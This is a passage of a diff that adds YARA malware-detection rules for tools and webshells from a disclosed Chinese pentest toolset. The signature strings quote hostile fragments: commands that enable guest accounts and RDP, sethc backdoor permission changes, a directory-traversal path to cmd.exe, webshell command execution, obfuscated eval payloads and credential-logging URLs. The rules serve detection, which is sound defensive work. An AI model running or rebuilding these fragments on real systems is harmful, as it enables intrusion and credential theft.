+		$s2 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s3 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_sig_3389_2_3389 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 3389.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "48d1974215e5cb07d1faa57e37afa91482b5a376"
+	strings:
+		$s1 = "C:\\Documents and Settings\\Administrator\\" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "net user guest /active:yes" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\Microsoft Word.exe" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 80KB and all of them
+}
+
+rule CN_Honker_PHP_php11 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file php11.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dcc8226e7eb20e4d4bef9e263c14460a7ee5e030"
+	strings:
+		$s1 = "<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else" ascii /* PEStudio Blacklist: strings */
+		$s2 = "foreach (glob($_GET['pathtomass'].\"/*.htm\") as $injectj00) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo '[cPanel Found] '.$login.':'.$pass.\"  Success\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 800KB and all of them
+}
+
+rule CN_Honker_WebCruiserWVS {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebCruiserWVS.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6c90a9ed4c8a141a343dab1b115cc840a7190304"
+	strings:
+		$s0 = "id:uid:user:username:password:access:account:accounts:admin_id:admin_name:admin_" ascii /* PEStudio Blacklist: strings */
+		$s1 = "Created By WebCruiser - Web Vulnerability Scanner http://sec4app.com" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_Hookmsgina {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Hookmsgina.dll"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f4d9b329b45fbcf6a3b9f29f2633d5d3d76c9f9d"
+	strings:
+		$s1 = "\\\\.\\pipe\\WinlogonHack" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "%s?host=%s&domain=%s&user=%s&pass=%s&port=%u" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Global\\WinlogonHack_Load%u" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Hookmsgina.dll" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_sig_3389_xp3389 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file xp3389.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d776eb7596803b5b94098334657667d34b60d880"
+	strings:
+		$s1 = "echo \"fdenytsconnections\"=dword:00000000 >> c:\\reg.reg" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] >" ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo \"Tsenabled\"=dword:00000001 >> c:\\reg.reg" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_CookiesView {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CookiesView.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c54e1f16d79066edfa0f84e920ed1f4873958755"
+	strings:
+		$s0 = "V1.0  Http://www.darkst.com Code:New4" fullword ascii
+		$s1 = "maotpo@126.com" fullword ascii
+		$s2 = "www.baidu.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 640KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v4_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2b2ab50753006f62965bba83460e3960ca7e1926"
+	strings:
+		$s1 = "http://127.0.0.1/1.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "FreeHostKillexe.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\sethc.exe /G everyone:F" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "c:\\1.exe" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 1 of them
+}
+
+rule CN_Honker_ScanHistory {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ScanHistory.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "14c31e238924ba3abc007dc5a3168b64d7b7de8d"
+	strings:
+		$s1 = "ScanHistory.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = ".\\Report.dat" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "select  * from  Results order by scandate desc" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_InvasionErasor {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file InvasionErasor.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b37ecd9ee6b137a29c9b9d2801473a521b168794"
+	strings:
+		$s1 = "c:\\windows\\system32\\config\\*.*" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "c:\\winnt\\*.txt" fullword wide /* PEStudio Blacklist: os */
+		$s3 = "Command1" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Win2003" fullword ascii /* PEStudio Blacklist: os */
+		$s5 = "Win 2000" fullword ascii /* PEStudio Blacklist: os */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
+rule CN_Honker_super_Injection1 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file super Injection1.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8ff2df40c461f6c42b92b86095296187f2b59b14"
+	strings:
+		$s2 = "Invalid owner=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s4 = "ScanInject.log" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_Pk_Pker {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Pker.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "631787f27f27c46f79e58e1accfcc9ecfb4d3a2f"
+	strings:
+		$s1 = "/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "msadc/..\\..\\..\\..\\winnt/system32/cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "--Made by VerKey&Only_Guest&Bincker" fullword wide /* PEStudio Blacklist: strings */
+		$s4 = ";APPLET;EMBED;FRAMESET;HEAD;NOFRAMES;NOSCRIPT;OBJECT;SCRIPT;STYLE;" fullword wide /* PEStudio Blacklist: strings */
+		$s5 = " --Welcome to Www.Pker.In Made by V.K" fullword wide
+		$s6 = "Report.dat" fullword wide /* PEStudio Blacklist: strings */
+		$s7 = ".\\Report.dat" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 5 of them
+}
+
+rule CN_Honker_GetPass_GetPass {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetPass.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
+	strings:
+		$s1 = "\\only\\Desktop\\" ascii
+		$s2 = "To Run As Administuor" ascii /* PEStudio Blacklist: strings */
+		$s3 = "Key to EXIT ... & pause > nul" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck_3 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file f4ck.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7e3bf9b26df08cfa10f10e2283c6f21f5a3a0014"
+	strings:
+		$s1 = "File UserName PassWord [comment] /add" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "No Net.exe Add User" fullword ascii
+		$s3 = "BlackMoon RunTime Error:" fullword ascii
+		$s4 = "Team.F4ck.Net" fullword wide
+		$s5 = "admin 123456789" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "blackmoon" fullword ascii
+		$s7 = "f4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of them
+}
+
+rule CN_Honker_F4ck_Team_F4ck_3 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file F4ck_3.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0b3e9381930f02e170e484f12233bbeb556f3731"
+	strings:
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s6 = "NO Net Add User" fullword wide
+		$s7 = "DLL ERROR" fullword ascii
+		$s11 = "F4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule CN_Honker_ACCESS_brute {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ACCESS_brute.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f552e05facbeb21cb12f23c34bb1881c43e24c34"
+	strings:
+		$s1 = ".dns166.co" ascii /* PEStudio Blacklist: strings */
+		$s2 = "SExecuteA" ascii /* PEStudio Blacklist: strings */
+		$s3 = "ality/clsCom" ascii
+		$s4 = "NT_SINK_AddRef" ascii
+		$s5 = "WINDOWS\\Syswm" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_Fpipe_FPipe {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file FPipe.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 50
+		hash = "a2c51c6fa93a3dfa14aaf31fb1c48a3a66a32d11"
+	strings:
+		$s1 = "Unable to create TCP listen socket. %s%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "http://www.foundstone.com" fullword ascii
+		$s3 = "%s %s port %d. Address is already in use" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
+
+rule CN_Honker_Layer_Layer {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Layer.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0f4f27e842787cb854bd61f9aca86a63f653eb41"
+	strings:
+		$s1 = "\\Release\\Layer.pdb" fullword ascii
+		$s2 = "Layer.exe" fullword wide
+		$s3 = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_ms10048_x86 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x86.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+	strings:
+		$s1 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and all of them
+}
+
+rule CN_Honker_HTran2_4 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file HTran2.4.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "524f986692f55620013ab5a06bf942382e64d38a"
+	strings:
+		$s1 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[+] New connection %s:%d !!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule CN_Honker_SkinHRootkit_SkinH {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SkinH.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d593f03ae06e54b653c7850c872c0eed459b301f"
+	strings:
+		$s0 = "(C)360.cn Inc.All Rights Reserved." fullword wide
+		$s1 = "SDVersion.dll" fullword wide
+		$s2 = "skinh.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker__PostgreSQL_mysql_injectV1_1_Creak_Oracle_SQLServer_inject_Creaked {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files PostgreSQL.exe, mysql_injectV1.1_Creak.exe, Oracle.exe, SQLServer_inject_Creaked.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+		hash1 = "a1f066789f48a76023598c5777752c15f91b76b0"
+		hash2 = "0264f4efdba09eaf1e681220ba96de8498ab3580"
+		hash3 = "af3c41756ec8768483a4cf59b2e639994426e2c2"
+	strings:
+		$s1 = "zhaoxypass@yahoo.com.cn" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "ProxyParams.ProxyPort" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+rule CN_Honker__mysql_injectV1_1_Creak_DomainBlastingTool_super_Injection1 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files mysql_injectV1.1_Creak.exe, DomainBlastingTool.exe, super Injection1.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "a1f066789f48a76023598c5777752c15f91b76b0"
+		hash1 = "6fb6b9d8eb15da3ceabb8cc030eb1bf0fe743485"
+		hash2 = "8ff2df40c461f6c42b92b86095296187f2b59b14"
+	strings:
+		$s1 = "Dark Teal" fullword wide
+		$s2 = "TRzFrameControllerProperty" fullword ascii
+		$s3 = "hkeyLocalMachine" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3000KB and all of them
+}
+
+rule CN_Honker__wwwscan_wwwscan_wwwscan_gui {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files wwwscan.exe, wwwscan.exe, wwwscan_gui.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
+		hash1 = "6bed45629c5e54986f2d27cbfc53464108911026"
+		hash2 = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
+	strings:
+		$s1 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
+		$s2 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker__LPK_LPK_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files LPK.DAT, LPK.DAT, LPK.DAT"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "5a1226e73daba516c889328f295e728f07fdf1c3"
+		hash1 = "2b2ab50753006f62965bba83460e3960ca7e1926"
+		hash2 = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
+	strings:
+		$s1 = "C:\\WINDOWS\\system32\\cmd.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "Password error!" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\sathc.exe" fullword ascii
+		$s4 = "\\sothc.exe" fullword ascii
+		$s5 = "\\lpksethc.bat" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1057KB and all of them
+}
+
+rule CN_Honker__builder_shift_SkinH {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files builder.exe, shift.exe, SkinH.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "6b5a84cdc3d27c435d49de3f68872d015a5aadfc"
+		hash1 = "ee127c1ea1e3b5bf3d2f8754fabf9d1101ed0ee0"
+		hash2 = "d593f03ae06e54b653c7850c872c0eed459b301f"
+	strings:
+		$s1 = "lipboard" fullword ascii
+		$s2 = "uxthem" fullword ascii
+		$s3 = "ENIGMA" fullword ascii
+		$s4 = "UtilW0ndow" fullword ascii
+		$s5 = "prog3am" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6075KB and all of them
+}
+
+rule CN_Honker__lcx_HTran2_4_htran20 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files lcx.exe, HTran2.4.exe, htran20.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+		hash1 = "524f986692f55620013ab5a06bf942382e64d38a"
+		hash2 = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+	strings:
+		$s1 = "[SERVER]connection to %s:%d error" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[+] OK! I Closed The Two Socket." fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 440KB and all of them
+}
+
+rule CN_Honker__D_injection_V2_32_D_injection_V2_32_D_injection_V2_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - from files D_injection_V2.32.exe, D_injection_V2.32.exe, D_injection_V2.32.exe"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
+		hash0 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash1 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+		hash2 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
+	strings:
+		$s1 = "upfile.asp " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[wscript.shell]" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "XP_CMDSHELL" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "[XP_CMDSHELL]" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "http://d99net.3322.org" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 10000KB and 4 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/cn_pentestset_webshells.yar b/yara-mikesxrs/Florian Roth/cn_pentestset_webshells.yar
new file mode 100644
index 0000000..c7e63d3
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/cn_pentestset_webshells.yar	
@@ -0,0 +1,1038 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-23
+	Identifier: CN-PentestSet
+*/
+
+rule CN_Honker_Webshell_PHP_php5 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php5.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0fd91b6ad400a857a6a65c8132c39e6a16712f19"
+	strings:
+		$s0 = "else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user" ascii /* PEStudio Blacklist: strings */
+		$s20 = "echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').\"<b>\".$" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x3f3c and filesize < 300KB and all of them
+}
+
+rule CN_Honker_Webshell_test3693 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file test3693.war"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "246d629ae3ad980b5bfe7e941fe90b855155dbfc"
+	strings:
+		$s0 = "Process p=Runtime.getRuntime().exec(\"cmd /c \"+strCmd);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "http://www.topronet.com </font>\",\" <font color=red> Thanks for your support - " ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x4b50 and filesize < 50KB and all of them
+}
+
+rule CN_Honker_Webshell_mycode12 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mycode12.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "64be8760be5ab5c2dcf829e3f87d3e50b1922f17"
+	strings:
+		$s1 = "<cfexecute name=\"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<cfoutput>#cmd#</cfoutput>" fullword ascii
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_offlibrary {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file offlibrary.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "eb5275f99211106ae10a23b7e565d208a94c402b"
+	strings:
+		$s0 = "';$i=$g->query(\"SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING" ascii /* PEStudio Blacklist: strings */
+		$s12 = "if(jushRoot){var script=document.createElement('script');script.src=jushRoot+'ju" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1005KB and all of them
+}
+
+rule CN_Honker_Webshell_cfm_xl {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file xl.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "49c3d16ee970945367a7d6ae86b7ade7cb3b5447"
+	strings:
+		$s0 = "<input name=\"DESTINATION\" value=\"" ascii /* PEStudio Blacklist: strings */
+		$s1 = "<CFFILE ACTION=\"Write\" FILE=\"#Form.path#\" OUTPUT=\"#Form.cmd#\">" fullword ascii
+	condition:
+		uint16(0) == 0x433c and filesize < 13KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_linux {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file linux.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "78339abb4e2bb00fe8a012a0a5b7ffce305f4e06"
+	strings:
+		$s0 = "<form name=form1 action=exploit.php method=post>" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<title>Changing CHMOD Permissions Exploit " fullword ascii
+	condition:
+		uint16(0) == 0x696c and filesize < 6KB and all of them
+}
+
+rule CN_Honker_Webshell_Interception3389_get {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file get.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ceb6306f6379c2c1634b5058e1894b43abcf0296"
+	strings:
+		$s0 = "userip = Request.ServerVariables(\"HTTP_X_FORWARDED_FOR\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "file.writeline  szTime + \" HostName:\" + szhostname + \" IP:\" + userip+\":\"+n" ascii /* PEStudio Blacklist: strings */
+		$s3 = "set file=fs.OpenTextFile(server.MapPath(\"WinlogonHack.txt\"),8,True)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_nc_1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 1.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "51d83961171db000fe4476f36d703ef3de409676"
+	strings:
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 " ascii /* PEStudio Blacklist: agent */
+		$s2 = "<%if session(\"pw\")<>\"go\" then %>" fullword ascii
+	condition:
+		filesize < 11KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_BlackSky {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php6.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a60a599c6c8b6a6c0d9da93201d116af257636d7"
+	strings:
+		$s0 = "eval(gzinflate(base64_decode('" ascii /* PEStudio Blacklist: strings */
+		$s1 = "B1ac7Sky-->" fullword ascii
+	condition:
+		filesize < 641KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp3.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+	strings:
+		$s1 = "if shellpath=\"\" then shellpath = \"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "c.open \"GET\", \"http://127.0.0.1:\" & port & \"/M_Schumacher/upadmin/s3\", Tru" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 444KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_sniff {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file sniff.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e246256696be90189e6d50a4ebc880e6d9e28dfd"
+	strings:
+		$s1 = "IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "if (!logIt && my_s_smtp && (dport == 25 || sport == 25))" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 91KB and all of them
+}
+
+rule CN_Honker_Webshell_udf_udf {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file udf.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "df63372ccab190f2f1d852f709f6b97a8d9d22b9"
+	strings:
+		$s1 = "<?php // Source  My : Meiam  " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 430KB and all of them
+}
+
+rule CN_Honker_Webshell_JSP_jsp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.html"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c58fed3d3d1e82e5591509b04ed09cb3675dc33a"
+	strings:
+		$s1 = "<input name=f size=30 value=shell.jsp>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<font color=red>www.i0day.com  By:" fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_T00ls_Lpk_Sethc_v4_mail {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mail.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0a9b7b438591ee78ee573028cbb805a9dbb9da96"
+	strings:
+		$s1 = "if (!$this->smtp_putcmd(\"AUTH LOGIN\", base64_encode($this->user)))" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$this->smtp_debug(\"> \".$cmd.\"\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
